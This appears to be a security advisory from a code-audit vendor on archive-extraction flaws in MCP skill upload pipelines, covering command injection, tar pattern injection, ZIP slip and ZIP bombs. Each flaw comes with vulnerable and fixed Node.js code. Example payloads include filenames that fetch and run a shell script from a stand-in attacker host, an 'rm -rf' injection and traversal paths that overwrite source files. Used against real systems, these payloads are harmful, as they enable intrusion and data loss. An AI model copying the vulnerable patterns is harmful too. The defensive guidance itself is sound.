Claude MCP skill command injection via archive member filenames during ZIP/TAR extraction — SA-SKL-UPLOAD12
MCP skill packages are typically submitted as ZIP or TAR archives containing the skill's source code, manifest, and dependencies. The extraction pipeline — which unzips the archive, scans it for malware, validates the manifest, and stores the files — often uses the archive member's original filename in downstream operations. When an archive member's filename reaches a shell command, a filesystem path, or a database query without sanitization, the attacker controls the filename and can inject shell metacharacters, path traversal sequences, or oversized payloads. SA-SKL-UPLOAD12 covers four extraction vulnerabilities: command injection via member filename in a virus scan exec() call, wildcard injection in tar, ZIP slip path traversal, and ZIP bomb OOM from missing uncompressed size validation.
exec() for virus scanning: exec(`clamscan ${filename}`) — attacker crafts ZIP with member named file; curl attacker.com/shell.sh | bash; shell metacharacters execute the injected command during the virus scan steptar command receives user-supplied archive with --wildcards pattern from extraction parameters — attacker POST body sets pattern to *; rm -rf /app/data; echo; pattern injected into tar command string; command injection via glob argumentpath.join(extractDir, member.name) — ZIP slip: member named ../../app/routes/auth.js extracts to /app/routes/auth.js, overwriting production source files; path traversal via archive member nameUPLOAD12-001 — Command injection via archive member filename
Post-extraction virus scanning is a common step in MCP skill submission pipelines. The scan command receives the path of the extracted file as an argument. When the file's path is constructed from the archive member's original filename (without renaming), the filename becomes part of the shell command string. Shell metacharacters in the filename — semicolons, ampersands, backticks, pipes — are interpreted by the shell as command separators or substitution markers. An attacker crafts a ZIP archive with a member whose filename is file; curl attacker.com/shell.sh | bash. The extracted file is placed at a path containing this string, and when the virus scan command is built, the injected shell commands execute.
// VULNERABLE — UPLOAD12-001
// Archive member filename used in exec() command for virus scan.
// Attacker ZIP member name: "malware; curl https://attacker.com/shell.sh | bash"
import unzipper from 'unzipper';
import { exec } from 'child_process';
async function extractAndScanSkillPackage(zipPath, extractDir) {
const zip = await unzipper.Open.file(zipPath);
for (const member of zip.files) {
const extractPath = path.join(extractDir, member.fileName); // also ZIP slip
// Extract file
await new Promise((resolve, reject) => {
member.stream().pipe(fs.createWriteStream(extractPath)).on('finish', resolve).on('error', reject);
});
// VULNERABLE: member.fileName (from attacker-controlled ZIP) used in exec() string
// If fileName is "file; curl attacker.com | sh", the shell executes the injected command
exec(`/usr/bin/clamscan ${extractPath}`, (err, stdout) => {
if (stdout.includes('FOUND')) {
fs.unlink(extractPath, () => {});
}
});
}
}
// FIXED — UPLOAD12-001
// UUID-rename all extracted files — never use original filenames in any shell command.
// Use execFile() with args array — not exec() with a string — for virus scan.
import { execFile } from 'child_process';
import { randomUUID } from 'crypto';
async function extractAndScanSkillPackage(zipPath, extractDir) {
const zip = await unzipper.Open.file(zipPath);
for (const member of zip.files) {
// FIX 1: UUID-rename every file — original filename never reaches a shell command
const safeFilename = randomUUID();
const extractPath = path.join(extractDir, safeFilename);
// FIX 2: validate path (see UPLOAD12-003 for ZIP slip fix)
const resolvedPath = path.resolve(extractPath);
if (!resolvedPath.startsWith(path.resolve(extractDir) + path.sep)) {
throw new Error('Path traversal detected');
}
await new Promise((resolve, reject) => {
member.stream().pipe(fs.createWriteStream(extractPath)).on('finish', resolve).on('error', reject);
});
// FIX 3: execFile() — no shell involved; filename is a separate argument, not a string
// Even if safeFilename were attacker-controlled, execFile() doesn't invoke a shell
await new Promise((resolve, reject) => {
execFile('/usr/bin/clamscan', [extractPath], (err, stdout) => {
if (err && err.code === 1) { // ClamAV exit code 1 = virus found
fs.unlink(extractPath, () => {});
}
resolve();
});
});
}
}
UPLOAD12-002 — tar --wildcards pattern injection
MCP skill platforms that accept TAR archives sometimes allow users to specify extraction patterns — to extract only specific directories from a large skill package. When the user-supplied pattern is interpolated into a tar shell command string with --wildcards, the user controls everything after the flag. The attacker sends a pattern containing a semicolon followed by arbitrary shell commands. The tar command extracts some files, encounters the semicolon, and the shell then executes the injected command. The pattern argument is part of the shell string, not an argument to tar's wildcard matching.
// VULNERABLE — UPLOAD12-002
// User-supplied pattern interpolated into tar command string — command injection.
// Attacker pattern: "*.js; rm -rf /app/uploads; echo"
app.post('/api/skills/extract', authMiddleware, async (req, res) => {
const { tarPath, extractDir, pattern } = req.body;
// VULNERABLE: pattern from req.body interpolated into shell command string
const cmd = `tar xf ${tarPath} --wildcards '${pattern}' -C ${extractDir}`;
exec(cmd, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
res.json({ extracted: true });
});
});
// FIXED — UPLOAD12-002
// Use node-tar library API instead of shelling out to tar.
// Library API accepts pattern as a data value, not as part of a command string.
import tar from 'tar';
import path from 'path';
// Allowlist of valid extraction patterns
const PATTERN_ALLOWLIST = /^[a-zA-Z0-9_\-\/\.\*]+$/;
app.post('/api/skills/extract', authMiddleware, async (req, res) => {
const { tarPath, extractDir, pattern } = req.body;
// FIX 1: validate pattern against allowlist — reject shell metacharacters
if (pattern && !PATTERN_ALLOWLIST.test(pattern)) {
return res.status(400).json({ error: 'Invalid extraction pattern' });
}
// FIX 2: use node-tar API — no shell invocation, no command injection risk
const filter = pattern
? (filePath) => {
// FIX 3: also enforce path traversal safety (see UPLOAD12-003)
const resolved = path.resolve(extractDir, filePath);
if (!resolved.startsWith(path.resolve(extractDir) + path.sep)) return false;
return new RegExp('^' + pattern.replace(/\*/g, '.*')).test(filePath);
}
: undefined;
try {
await tar.extract({
file: tarPath,
cwd: extractDir,
filter,
});
res.json({ extracted: true });
} catch (err) {
res.status(500).json({ error: 'Extraction failed' });
}
});
UPLOAD12-003 — ZIP slip path traversal
ZIP slip is a path traversal attack via archive member filenames. A ZIP archive can contain members with filenames that include ../ sequences — relative path traversal. When an extraction routine constructs the output path by joining the extraction directory with the member's filename (path.join(extractDir, member.name)), a member named ../../app/routes/auth.js resolves to a path outside the extraction directory. The attacker overwrites production source files, configuration files, or environment variable files on disk. The overwritten file is immediately active — no server restart needed for files read at runtime (like templates or configuration).
// VULNERABLE — UPLOAD12-003
// member.fileName used in path.join() without traversal validation — ZIP slip.
// Attacker ZIP member: "../../app/routes/auth.js" → overwrites production auth code.
for (const member of zip.files) {
// VULNERABLE: member.fileName may contain ../ sequences
const extractPath = path.join(extractDir, member.fileName);
// path.join('/tmp/extract-123', '../../app/routes/auth.js')
// → '/app/routes/auth.js' — OUTSIDE the intended extraction directory
await pipeline(member.stream(), fs.createWriteStream(extractPath));
}
// FIXED — UPLOAD12-003
// Always resolve() the path and verify it starts with the extraction directory.
// Reject any member that would extract outside the target directory.
const resolvedExtractDir = path.resolve(extractDir);
for (const member of zip.files) {
if (member.type === 'Directory') continue; // skip directory entries
// FIX: resolve the full path and check it stays within extractDir
const targetPath = path.resolve(resolvedExtractDir, member.fileName);
if (!targetPath.startsWith(resolvedExtractDir + path.sep)) {
// ZIP slip attempt — log and skip (or abort the entire extraction)
console.warn(`ZIP slip attempt: ${member.fileName} → ${targetPath}`);
continue;
}
// FIX: also UUID-rename to prevent filename-based command injection (UPLOAD12-001)
const safePath = path.join(resolvedExtractDir, randomUUID());
await pipeline(member.stream(), fs.createWriteStream(safePath));
}
UPLOAD12-004 — ZIP bomb denial of service
A ZIP bomb is a maliciously crafted archive where a small compressed file expands to an enormous uncompressed size. A single 1KB compressed member can decompress to 1GB. The ZIP central directory contains the uncompressed sizes of all members before extraction begins — this information can be read without decompressing anything. When the extraction code does not check the total uncompressed size before starting to extract, a ZIP bomb causes the Node.js process to allocate memory until it crashes with an out-of-memory error, or fills the disk until the host's storage is exhausted.
// VULNERABLE — UPLOAD12-004
// No size check before extraction — ZIP bomb causes OOM or disk exhaustion.
async function extractSkillPackage(zipPath, extractDir) {
const zip = await unzipper.Open.file(zipPath);
// VULNERABLE: no check on total uncompressed size; zip bomb extracts until OOM
for (const member of zip.files) {
if (member.type === 'Directory') continue;
const extractPath = path.join(extractDir, randomUUID());
await pipeline(member.stream(), fs.createWriteStream(extractPath));
}
}
// FIXED — UPLOAD12-004
// Read ZIP central directory for uncompressed sizes before extracting anything.
// Reject if total exceeds limit or compression ratio is suspiciously high.
const MAX_UNCOMPRESSED_BYTES = 100 * 1024 * 1024; // 100 MB
const MAX_FILE_COUNT = 10_000;
const MAX_COMPRESSION_RATIO = 100; // suspicious if any single file is >100x compressed
async function extractSkillPackage(zipPath, extractDir) {
const zip = await unzipper.Open.file(zipPath);
// FIX 1: check member count
if (zip.files.length > MAX_FILE_COUNT) {
throw new Error(`Archive contains too many files: ${zip.files.length}`);
}
// FIX 2: check total uncompressed size from ZIP central directory (no decompression needed)
let totalUncompressed = 0;
for (const member of zip.files) {
if (member.type === 'Directory') continue;
// uncompressedSize is in the ZIP central directory header — no extraction needed
totalUncompressed += member.uncompressedSize;
if (totalUncompressed > MAX_UNCOMPRESSED_BYTES) {
throw new Error(`Archive total uncompressed size exceeds ${MAX_UNCOMPRESSED_BYTES} bytes`);
}
// FIX 3: check per-file compression ratio — ZIP bombs have extreme ratios
if (member.compressedSize > 0) {
const ratio = member.uncompressedSize / member.compressedSize;
if (ratio > MAX_COMPRESSION_RATIO) {
throw new Error(`Suspicious compression ratio ${ratio.toFixed(0)}x on member ${member.fileName}`);
}
}
}
// Safe to extract — total size within limit, no suspicious ratios
for (const member of zip.files) {
if (member.type === 'Directory') continue;
const resolvedExtractDir = path.resolve(extractDir);
const targetPath = path.resolve(resolvedExtractDir, member.fileName);
if (!targetPath.startsWith(resolvedExtractDir + path.sep)) continue; // ZIP slip guard
const safePath = path.join(resolvedExtractDir, randomUUID());
await pipeline(member.stream(), fs.createWriteStream(safePath));
}
}
Detection: SkillAudit scans for exec()/execSync() calls where the command string includes archive member filename fields (member.fileName, entry.path, header.name). It also flags path.join(extractDir, memberName) without an adjacent startsWith() guard, and archive extraction loops without a pre-extraction size check.
Related patterns
See also SA-SKL-UPLOAD11 for command injection via tar member filenames and package.json name fields in exec(), and SA-SKL-UPLOAD10 for polyglot file type confusion and magic byte bypass in MCP skill uploads.
Scan your MCP skill package pipeline for SA-SKL-UPLOAD12. SkillAudit's taint analysis engine tracks archive member filenames to exec() sinks and path.join() extraction calls, flagging missing ZIP slip guards, command injection vectors, and size validation gaps. Get started free.